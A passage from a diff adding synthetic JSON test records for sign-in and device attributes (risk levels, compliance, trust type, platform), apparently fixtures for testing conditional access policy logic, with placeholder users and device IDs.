"SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-031", + "deviceOwnership": "Company", + "DisplayName": "Device-031", + "EnrollmentProfileName": "Profile-031", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00031", + "Model": "Model-031", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.31", + "PhysicalIds": "physical-id-031", + "profileType": "SecureVM", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-032", + "deviceOwnership": "Personal", + "DisplayName": "Device-032", + "EnrollmentProfileName": "Profile-032", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00032", + "Model": "Model-032", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.32", + "PhysicalIds": "physical-id-032", + "profileType": "Printer", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-033", + "deviceOwnership": "Company", + "DisplayName": "Device-033", + "EnrollmentProfileName": "Profile-033", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00033", + "Model": "Model-033", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.33", + "PhysicalIds": "physical-id-033", + "profileType": "Shared", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-034", + "deviceOwnership": "Personal", + "DisplayName": "Device-034", + "EnrollmentProfileName": "Profile-034", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00034", + "Model": "Model-034", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.34", + "PhysicalIds": "physical-id-034", + "profileType": "IoT", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-035", + "deviceOwnership": "Company", + "DisplayName": "Device-035", + "EnrollmentProfileName": "Profile-035", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00035", + "Model": "Model-035", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.35", + "PhysicalIds": "physical-id-035", + "profileType": "RegisteredDevice", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-036", + "deviceOwnership": "Personal", + "DisplayName": "Device-036", + "EnrollmentProfileName": "Profile-036", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00036", + "Model": "Model-036", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.36", + "PhysicalIds": "physical-id-036", + "profileType": "SecureVM", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-037", + "deviceOwnership": "Company", + "DisplayName": "Device-037", + "EnrollmentProfileName": "Profile-037", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00037", + "Model": "Model-037", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.37", + "PhysicalIds": "physical-id-037", + "profileType": "Printer", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-038", + "deviceOwnership": "Personal", + "DisplayName": "Device-038", + "EnrollmentProfileName": "Profile-038", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00038", + "Model": "Model-038", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.38", + "PhysicalIds": "physical-id-038", + "profileType": "Shared", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-039", + "deviceOwnership": "Company", + "DisplayName": "Device-039", + "EnrollmentProfileName": "Profile-039", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00039", + "Model": "Model-039", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.39", + "PhysicalIds": "physical-id-039", + "profileType": "IoT", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-040", + "deviceOwnership": "Personal", + "DisplayName": "Device-040", + "EnrollmentProfileName": "Profile-040", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00040", + "Model": "Model-040", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.40", + "PhysicalIds": "physical-id-040", + "profileType": "RegisteredDevice", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-041", + "deviceOwnership": "Company", + "DisplayName": "Device-041", + "EnrollmentProfileName": "Profile-041", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00041", + "Model": "Model-041", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.41", + "PhysicalIds": "physical-id-041", + "profileType": "SecureVM", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-042", + "deviceOwnership": "Personal", + "DisplayName": "Device-042", + "EnrollmentProfileName": "Profile-042", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00042", + "Model": "Model-042", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.42", + "PhysicalIds": "physical-id-042", + "profileType": "Printer", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-043", + "deviceOwnership": "Company", + "DisplayName": "Device-043", + "EnrollmentProfileName": "Profile-043", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00043", + "Model": "Model-043", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.43", + "PhysicalIds": "physical-id-043", + "profileType": "Shared", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-044", + "deviceOwnership": "Personal", + "DisplayName": "Device-044", + "EnrollmentProfileName": "Profile-044", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00044", + "Model": "Model-044", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.44", + "PhysicalIds": "physical-id-044", + "profileType": "IoT", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-045", + "deviceOwnership": "Company", + "DisplayName": "Device-045", + "EnrollmentProfileName": "Profile-045", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00045", + "Model": "Model-045", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.45", + "PhysicalIds": "physical-id-045", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-046", + "deviceOwnership": "Personal", + "DisplayName": "Device-046", + "EnrollmentProfileName": "Profile-046", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00046", + "Model": "Model-046", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.46", + "PhysicalIds": "physical-id-046", + "profileType": "SecureVM", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-047", + "deviceOwnership": "Company", + "DisplayName": "Device-047", + "EnrollmentProfileName": "Profile-047", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00047", + "Model": "Model-047", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.47", + "PhysicalIds": "physical-id-047", + "profileType": "Printer", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-048", + "deviceOwnership": "Personal", + "DisplayName": "Device-048", + "EnrollmentProfileName": "Profile-048", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00048", + "Model": "Model-048", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.48", + "PhysicalIds": "physical-id-048", + "profileType": "Shared", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-049", + "deviceOwnership": "Company", + "DisplayName": "Device-049", + "EnrollmentProfileName": "Profile-049", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00049", + "Model": "Model-049", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.49", + "PhysicalIds": "physical-id-049", + "profileType": "IoT", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-050", + "deviceOwnership": "Personal", + "DisplayName": "Device-050", + "EnrollmentProfileName": "Profile-050", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00050", + "Model": "Model-050", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.50", + "PhysicalIds": "physical-id-050", + "profileType": "RegisteredDevice", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-051", + "deviceOwnership": "Company", + "DisplayName": "Device-051", + "EnrollmentProfileName": "Profile-051", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00051", + "Model": "Model-051", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.51", + "PhysicalIds": "physical-id-051", + "profileType": "SecureVM", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-052", + "deviceOwnership": "Personal", + "DisplayName": "Device-052", + "EnrollmentProfileName": "Profile-052", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00052", + "Model": "Model-052", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.52", + "PhysicalIds": "physical-id-052", + "profileType": "Printer", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-053", + "deviceOwnership": "Company", + "DisplayName": "Device-053", + "EnrollmentProfileName": "Profile-053", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00053", + "Model": "Model-053", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.53", + "PhysicalIds": "physical-id-053", + "profileType": "Shared", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-054", + "deviceOwnership": "Personal", + "DisplayName": "Device-054", + "EnrollmentProfileName": "Profile-054", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00054", + "Model": "Model-054", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.54", + "PhysicalIds": "physical-id-054", + "profileType": "IoT", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-055", + "deviceOwnership": "Company", + "DisplayName": "Device-055", + "EnrollmentProfileName": "Profile-055", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00055", + "Model": "Model-055", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.55", + "PhysicalIds": "physical-id-055", + "profileType": "RegisteredDevice", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-056", + "deviceOwnership": "Personal", + "DisplayName": "Device-056", + "EnrollmentProfileName": "Profile-056", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00056", + "Model": "Model-056", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.56", + "PhysicalIds": "physical-id-056", + "profileType": "SecureVM", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-057", + "deviceOwnership": "Company", + "DisplayName": "Device-057", + "EnrollmentProfileName": "Profile-057", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00057", + "Model": "Model-057", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.57", + "PhysicalIds": "physical-id-057", + "profileType": "Printer", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-058", + "deviceOwnership": "Personal", + "DisplayName": "Device-058", + "EnrollmentProfileName": "Profile-058", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00058", + "Model": "Model-058", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.58", + "PhysicalIds": "physical-id-058", + "profileType": "Shared", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-059", + "deviceOwnership": "Company", + "DisplayName": "Device-059", + "EnrollmentProfileName": "Profile-059", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00059", + "Model": "Model-059", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.59", + "PhysicalIds": "physical-id-059", + "profileType": "IoT", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-060", + "deviceOwnership": "Personal", + "DisplayName": "Device-060", + "EnrollmentProfileName": "Profile-060", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00060", + "Model": "Model-060", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.60", + "PhysicalIds": "physical-id-060", + "profileType": "RegisteredDevice", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-061", + "deviceOwnership": "Company", + "DisplayName": "Device-061", + "EnrollmentProfileName": "Profile-061", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00061", + "Model": "Model-061", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.61", + "PhysicalIds": "physical-id-061", + "profileType": "SecureVM", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-062", + "deviceOwnership": "Personal", + "DisplayName": "Device-062", + "EnrollmentProfileName": "Profile-062", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00062", + "Model": "Model-062", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.62", + "PhysicalIds": "physical-id-062", + "profileType": "Printer", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-063", + "deviceOwnership": "Company", + "DisplayName": "Device-063", + "EnrollmentProfileName": "Profile-063", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00063", + "Model": "Model-063", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.63", + "PhysicalIds": "physical-id-063", + "profileType": "Shared", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-064", + "deviceOwnership": "Personal", + "DisplayName": "Device-064", + "EnrollmentProfileName": "Profile-064", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00064", + "Model": "Model-064", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.64", + "PhysicalIds": "physical-id-064", + "profileType": "IoT", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-065", + "deviceOwnership": "Company", + "DisplayName": "Device-065", + "EnrollmentProfileName": "Profile-065", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00065", + "Model": "Model-065", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.65", + "PhysicalIds": "physical-id-065", + "profileType": "RegisteredDevice", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-066", + "deviceOwnership": "Personal", + "DisplayName": "Device-066", + "EnrollmentProfileName": "Profile-066", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00066", + "Model": "Model-066", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.66", + "PhysicalIds": "physical-id-066", + "profileType": "SecureVM", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-067", + "deviceOwnership": "Company", + "DisplayName": "Device-067", + "EnrollmentProfileName": "Profile-067", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00067", + "Model": "Model-067", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.67", + "PhysicalIds": "physical-id-067", + "profileType": "Printer", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-068", + "deviceOwnership": "Personal", + "DisplayName": "Device-068", + "EnrollmentProfileName": "Profile-068", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00068", + "Model": "Model-068", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.68", + "PhysicalIds": "physical-id-068", + "profileType": "Shared", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-069", + "deviceOwnership": "Company", + "DisplayName": "Device-069", + "EnrollmentProfileName": "Profile-069", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00069", + "Model": "Model-069", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.69", + "PhysicalIds": "physical-id-069", + "profileType": "IoT", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-070", + "deviceOwnership": "Personal", + "DisplayName": "Device-070", + "EnrollmentProfileName": "Profile-070", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00070", + "Model": "Model-070", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.70", + "PhysicalIds": "physical-id-070", + "profileType": "RegisteredDevice", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-071", + "deviceOwnership": "Company", + "DisplayName": "Device-071", + "EnrollmentProfileName": "Profile-071", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00071", + "Model": "Model-071", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.71", + "PhysicalIds": "physical-id-071", + "profileType": "SecureVM", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-072", + "deviceOwnership": "Personal", + "DisplayName": "Device-072", + "EnrollmentProfileName": "Profile-072", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00072", + "Model": "Model-072", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.72", + "PhysicalIds": "physical-id-072", + "profileType": "Printer", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-073", + "deviceOwnership": "Company", + "DisplayName": "Device-073", + "EnrollmentProfileName": "Profile-073", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00073", + "Model": "Model-073", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.73", + "PhysicalIds": "physical-id-073", + "profileType": "Shared", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-074", + "deviceOwnership": "Personal", + "DisplayName": "Device-074", + "EnrollmentProfileName": "Profile-074", + "isCompliant": true, + "Manufacturer": "Manufacturer-W", + "MdmAppId": "mdm-00074", + "Model": "Model-074", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.74", + "PhysicalIds": "physical-id-074", + "profileType": "IoT", + "systemLabels": "CloudPC", + 